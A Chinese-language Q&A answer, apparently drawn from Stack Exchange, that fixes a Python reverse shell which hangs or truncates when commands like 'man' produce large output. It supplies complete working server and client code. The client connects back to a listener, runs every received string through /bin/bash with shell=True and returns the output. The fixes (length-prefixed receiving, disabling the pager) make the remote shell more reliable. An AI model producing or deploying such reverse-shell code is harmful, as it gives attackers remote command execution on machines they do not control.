Python反向shell执行大输出命令时recv缓冲区挂起问题求助
问题根因
你遇到的输出截断、挂起问题是三个核心错误共同导致的:
- 服务端接收计数逻辑错误:你代码中用
count = count + BUFF_SIZE累加接收长度,是假设每次recv调用都能恰好收到BUFF_SIZE字节,但TCP是流协议,recv的返回值是实际收到的字节数,多数场景下远小于设置的BUFF_SIZE,会导致计数远大于实际接收的字节数,要么提前退出循环截断输出,要么永远达不到count==byt的条件导致挂起。 - 头部接收不完整:
conn.recv(HEADER)不一定能一次收到完整的10字节头部,如果头部只收到部分,转int会失败或者拿到错误的长度值,后续接收逻辑完全失效。 man类命令的分页机制限制:man默认会调用less、more等分页器,依赖交互式终端环境,反向shell是非交互场景,会导致man进程卡住,输出不完整。
修复方案
服务端修改要点
- 调整
BUFF_SIZE为合理值(如4096),提升接收效率 - 补全头部接收逻辑,确保拿到完整10字节长度头
- 接收正文时按实际收到的字节数累加,而非固定加
BUFF_SIZE
修改后的服务端完整代码:
#!/usr/bin/env python3 import socket BUFF_SIZE = 4096 HEADER = 10 def recv_full(conn, length): # 保证收到指定长度的字节才返回 data = b'' while len(data) < length: chunk = conn.recv(length - len(data)) if not chunk: return None data += chunk return data def commands(conn): command = "" while command != 'exit': command = input() if command.strip() == '': print() continue conn.send(str.encode(command)) # 先收完整的10字节头部 header_bytes = recv_full(conn, HEADER) if not header_bytes: break byt = int(header_bytes.decode("utf-8").strip()) full_msg = b'' # 收指定长度的正文 while len(full_msg) < byt: chunk = conn.recv(min(BUFF_SIZE, byt - len(full_msg))) if not chunk: break full_msg += chunk print(full_msg.decode("utf-8", 'ignore'), end="") def accept(): conn, address = sock.accept() commands(conn) conn.close() ip = '0.0.0.0' port = 9999 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print("binding sockets..") sock.bind((ip, port)) print("completed binding...") sock.listen(1) print("listening on {}:{} ".format(ip, port)) accept()
客户端修改要点
执行命令时添加环境变量,让man类命令跳过分页器直接输出所有内容:
修改后的客户端完整代码:
#!/usr/bin/env python3 import os import subprocess import sys import socket target_host = "" target_port = 9999 HEADER = 10 def commands(): response = '' while 'exit' not in response : response = str(client.recv(8024), "utf-8") # 添加环境变量,避免man等命令分页卡住 env = os.environ.copy() env['MANPAGER'] = 'cat' env['TERM'] = 'xterm' out = subprocess.Popen( response, shell=True, executable='/bin/bash', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, env=env ) output = str(out.stdout.read() + out.stderr.read(), "utf-8") out_content = output + os.getcwd() + " -> " header = f'{len(out_content):<{HEADER}}' combinedout = header + out_content client.sendall(str.encode(combinedout)) client.close() print("connection terminated ...") sys.exit() client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print("connecting to {}".format(target_host)) client.connect((target_host, target_port)) print("connected !") commands()
验证说明
修改完成后重新运行服务端和客户端,执行man man、man git这类大输出命令也能正常返回完整内容,不会再出现挂起或截断问题。
内容的提问来源于stack exchange,提问作者the_oddsaint
相关产品推荐
相关产品推荐

